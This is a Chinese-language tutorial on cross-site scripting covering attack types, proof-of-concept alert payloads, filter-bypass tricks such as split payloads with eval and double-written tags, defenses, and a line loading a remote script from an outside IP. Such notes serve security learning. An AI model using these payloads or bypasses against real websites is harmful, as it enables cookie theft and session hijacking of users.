一、介绍
XSS(Cross-site Scripting,跨站脚本攻击),Owasp Top 10 2017中排名第7。主要基于JS完成恶意攻击行为。
原因:通过将精心构造的代码注入网页中,并由浏览器运行这段代码,达到攻击效果。XSS攻击的对象是用户和用户的浏览器(前端攻击)。
主要原因是没有对攻击者的输入进行严格的过滤,微博、留言板、聊天室等收集用户信息的地方都有可能被注入XSS代码。该漏洞存在于服务器中,但是执行环境在客户端浏览器,属于被动攻击。
主要危害:盗取用户账号;窃取cookie资料,冒充用户身份进入网站;劫持用户会话,执行任意操作;刷流量,弹窗广告;传播蠕虫病毒等。
主要的角色:攻击者、浏览器(与浏览器类型、不同版本有关)、受害者(用户)。
1.攻击者将恶意代码注入到服务器,用户访问该服务器网页。
2.服务器将含有恶意代码的网页响应给客户端。
3.在客户端触发恶意JS代码并执行。
4.用户被攻击。
Poc:XSS的漏洞用一段代码,验证漏洞的存在,这样的代码叫Poc(Proof of concept概念验证)。
EXP:漏洞的完整利用工具。
shellcode:利用漏洞时执行的代码。
payload:攻击载荷。在sqlmap里是攻击模板;msf里边同shellcode,建立与目标的连接。
二、验证漏洞存在的Poc
<script>alert(/xss/)</script> 弹窗(常用)
<script>confirm('xss')</script> 弹出确认框
<script>prompt('xss')</script> 弹出输入框
当在浏览器上输入以上内容后,如果有相应的弹窗,代表浏览器可解析代码,即存在XSS漏洞。于是便可以提交任意恶意JS代码。
三、XSS漏洞分类
1.反射型XSS
代码存在于web应用的参数(变量)当中。多发于搜索框。
2.储存型XSS
代码写进数据库或文件等可以永久保存的介质中。可持久攻击(每次点开页面就执行)。多发于留言板。
3.DOM型XSS
修改受害者浏览器页面的DOM树而执行(只要修改DOM树,浏览器就会重新渲染页面),并不会传到服务器上,只在浏览器上执行,因此比较难以检测。
四、XSS构造
1.利用<>构造HTML标签/<script>标签。
2.伪协议
javascript: +js代码
3.产生自己的事件
事件:如鼠标移动、键盘输入等;JS可对这些事件进行响应,通过事件触发代码。
windows 事件 对windows对象
Form事件 HTML表单内的动作
keyboard事件 键盘按键
Mouse事件 鼠标或类似动作
Media事件 多媒体触发的事件
五、XSS变形(绕过过滤)
1.大小写转换。
2.引号的使用。应对某些过滤函数。
3.左斜线(/)代替空格。
4.利用Tab或回车符。把一行隔断开。
5.对标签属性值进行编码。
6.拆分跨站。
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>
以上上三代码在执行时合并成一行,即:<script>alert(/xss/)</script>
7.双写绕过。
<scr<script> ipt>
六、XSS防御
1.使用XSS Filter(XSS过滤器),过滤客户端提交的有害信息。
(1)输入过滤:
输入是否仅包含合法字符。
输入字符串是否超过最大长度限制。
输入如果为数字,数字是否在指定的范围。
输入是否符合特殊的格式要求,如E-mail地址、IP地址等。
(2)输出编码
(3)黑白名单
七、远程调用shellcode
将JS代码单独存放在一个JS文件中(可以是互联网上任意一台主机地址),然后通过http协议远程加载该脚本。
例:<script src="http://172.168.111.132/XSS-text/XSS.js"></script>
八、终极代码:测试所有的过滤
<script script " 'OOnn>